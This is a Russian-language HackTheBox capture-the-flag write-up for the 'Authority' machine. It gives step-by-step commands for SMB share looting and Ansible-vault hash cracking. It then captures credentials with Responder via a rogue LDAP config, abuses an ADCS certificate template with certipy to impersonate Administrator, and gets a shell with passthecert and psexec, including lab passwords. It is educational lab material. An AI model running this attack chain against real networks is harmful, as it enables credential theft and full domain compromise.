Приветствую вас, кулхацкеры. Сегодняшний райт будет посвящен прохождению машины с HackTheBox под названием Authority.
![](https://habrastorage.org/getpro/habr/upload_files/abc/6fa/e44/abc6fae44665a6cc6a051353307e19a3.png)
Дисклеймер: все утилиты и техники, продемонстрированные в статье, приведены в учебных целях
Сканирование и разведка
Как всегда начинаем с разведки при помощи Nmap:
nmap -sC -sV -Pn -p- 10.10.11.222
![](https://habrastorage.org/getpro/habr/upload_files/c6f/080/1d0/c6f0801d05a7f0f3269d2dde0e73094c.png)
![](https://habrastorage.org/getpro/habr/upload_files/b62/bf0/81f/b62bf081f65840544f9a97727a313ebc.png)
Первым делом попробуем подключиться к хосту при помощи smbclient для просмотра доступных шар:
smbclient -L 10.10.11.222 -U " "
![](https://habrastorage.org/getpro/habr/upload_files/cb1/82b/e49/cb182be49024d836c0b7b7c87acfce4c.png)
При попытке подключиться к \Department Shares нам отказывают в доступе. Значит попытаемся подключиться без пароля к шаре \Development:
smbclient \\\\10.10.11.222\\Development -U ""
![](https://habrastorage.org/getpro/habr/upload_files/845/a14/d8a/845a14d8aec456760dd53c91a257fb4a.png)
Выкачаем все файлы, воспользовавшись следующими командами:
recurse on
prompt off
mget *
recurse
-> переключает рекурсию папок для команд mget
и mput
.
Если рекурсия включена, то эти команды будут работать со всеми поддиректориями указанной папки (например, папки из которой ведется копирование) и будут рекурсивно выполнены во всех папках подходящих по маске, определенной для команды
prompt
-> переключает запрос имен файлов во время операций команд mget
и mput
. Если запрос выключен, все указанные файлы будут переданы без запроса.
mget *
-> скачивает файлы с сервера на машину
Изучив директории, мы наткнемся на интересный файл под названием main.yml, который можно найти по абсолютному пути Automation\Ansible\PWM\defaults\main.yml
![](https://habrastorage.org/getpro/habr/upload_files/ba3/4f6/092/ba34f6092cc6886a741230b9c734be2a.png)
Это не что иное, как Ansible-vault учетные данные.
![](https://habrastorage.org/getpro/habr/upload_files/40f/6a7/db6/40f6a7db600ec25b7bbeece2a1b047d6.png)
Представим все хеши по отдельности, чтобы сделать их читаемыми для утилиты JohnTheRipper при помощи скрипта ansible2john:
ansible2john admin.txt > hash1.txt
![](https://habrastorage.org/getpro/habr/upload_files/60b/b8b/f7f/60bb8bf7f018630605ec45ed27f850cd.png)
Получим пароль, с помощью которого проводилось шифрование при помощи улититы ansible-vault, входящей в состав фреймворка Ansible. Зная пароль, сможем обратно расшифровать нужные нам данные:
cat admin1.txt | ansible-vault decrypt
![](https://habrastorage.org/getpro/habr/upload_files/9bf/87a/ae0/9bf87aae080672ce1fd84b60620c7634.png)
На 80 порту ничего примечательного обнаружено не было. На 8443 порту висит приложение, интегрированное с LDAP. Попробуем зайти на веб-страницу:
![](https://habrastorage.org/getpro/habr/upload_files/94b/37f/ecc/94b37fecc4b5b48ab3ac8b69951b4076.png)
Войти под полученными нами учетными не удалось. Попробуем зайти в Configuration Manager при помощи другого пароля:
![](https://habrastorage.org/getpro/habr/upload_files/835/baa/766/835baa76609e5b400a4375b7759c1a82.png)
![](https://habrastorage.org/getpro/habr/upload_files/d09/0f0/f30/d090f0f30de72a922c599f6d1ae52fe9.png)
Успешно. Тем не менее, при попытке установить связь с LDAPS-сервером возникла ошибка, означающая невозможность установления соединения. Также здесь мы находим пользователя с именем svc_ldap.
Внимательно изучив страницу, станет ясно, что мы можем изменять файл конфигурации. Значит мы сможем изменить параметры конфигурации и, запустив Responder, симитируем LDAP-сервер, что позволит нам отслеживать передаваемую информацию. Изменим конфигурациионный файл, подставив в параметры данные нашей машины:
![](https://habrastorage.org/getpro/habr/upload_files/44a/18e/9cf/44a18e9cf71b8139a97d6849c317fc9e.png)
Выступаем в качестве LDAP-сервера при помощи Responder
Запустим Responder:
sudo responder -I tun0 -wA
И получим пароль в открытом виде:
![](https://habrastorage.org/getpro/habr/upload_files/39b/6b5/28c/39b6b528c34186fd052fe79007324d31.png)
Подключаемся при помощи Evil-WinRM
Для удаленного подключения воспользуемся утилитой Evil-WinRM:
evil-winrm -i 10.10.11.222 --user svc_ldap --password 'lDaP_1n_th3_cle4r!'
![](https://habrastorage.org/getpro/habr/upload_files/f57/075/afb/f57075afbe1dd240171207a1e42a5ed7.png)
Здесь будет находится первый флаг user.txt
Эскалация привилегий
Посмотрим информацию о пользователе при помощи команды whoami /all
![](https://habrastorage.org/getpro/habr/upload_files/01c/1ed/b77/01c1edb77ac67b0c2cc1bd724b1f3963.png)
У пользователя имеется привилегия на добавление машины в домен SeMachineAccountPrivilege, а это значит что мы можем добавить компьютер в домен с помощью учетных данных svc_ldap. Для этого воспользуемся модулем addcomputer утилиты Impacket:
impacket-addcomputer -dc-ip 10.10.11.222 -computer-name hacker_PC -computer-pass pass1234 'htb.local/svc_ldap:lDaP_1n_th3_cle4r!'
![](https://habrastorage.org/getpro/habr/upload_files/ef7/68f/fbd/ef768ffbd6d67c9a880e1156111aff81.png)
Машинная учетная запись успешно добавлена! Теперь мы можем использовать недавно полученные учетные данные для получения "шаблона сертификата" с сервера. Для этого воспользуемся утилитой certipy:
certipy-ad find -u "hacker_PC" -p "pass1234" -dc-ip 10.10.11.222
![](https://habrastorage.org/getpro/habr/upload_files/7b7/439/593/7b7439593b01e6ad46811ec8229c793b.png)
![](https://habrastorage.org/getpro/habr/upload_files/bd1/13b/b69/bd113bb6997341adca13ddac84fb33e7.png)
Изучив сертификат, мы обнаружили, что в нем присутствует уязвимость, позволяющая любому компьютеру домена запросить сертификат администратора.
Теперь мы можем использовать недавно полученные имя пользователя и пароль для получения "шаблона сертификата" с сервера.
Здесь снова воспользуемся certipy-ad:
certipy-ad req -username "hacker_PC$" -p "pass1234" -template CorpVPN -dc-ip 10.10.11.222 -ca AUTHORITY-CA -upn 'Administrator@authority.htb'
![](https://habrastorage.org/getpro/habr/upload_files/ff8/96b/2f8/ff896b2f872316f1554bca48ec5f0b1c.png)
Получив сертификат, попробуем пройти с помощью него аутентификацию и запросить NT-хеш учетной записи:
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.222
![](https://habrastorage.org/getpro/habr/upload_files/3e8/8f4/ae7/3e88f4ae7d813100740fc41e6eca129c.png)
Однако пройти аутентификацию не удалось, так как Kerberos не поддерживает механизм PKINIT. Для прохождения воспользуемся утилитой PassTheCert. Но для начала разделим сертификат и ключ с помощью certipy-ad:
certipy-ad cert -pfx administrator.pfx -nokey -out user.crt
certipy-ad cert -pfx administrator.pfx -nocert -out user.key
![](https://habrastorage.org/getpro/habr/upload_files/084/b17/724/084b17724af27652f96ef1b05b6453df.png)
Получив ключ и сертификат, воспользуемся ими, чтобы запросить новый пароль администратора:
python passthecert.py -action modify_user -crt user.crt -key user.key -domain authority.htb -dc-ip 10.10.11.222 -target administrator
-new-pass
![](https://habrastorage.org/getpro/habr/upload_files/cc5/eb9/c27/cc5eb9c2735a572a900a9005c8018d2c.png)
Теперь воспользуемся утилитой psexec для получения шелла:
impacket-psexec administrator:y50xccLr62vDYhFrmakcoJocBkiO5UnN@10.10.11.222
![](https://habrastorage.org/getpro/habr/upload_files/ded/a5e/2b9/deda5e2b90a0ec76f429c53807bd8e11.png)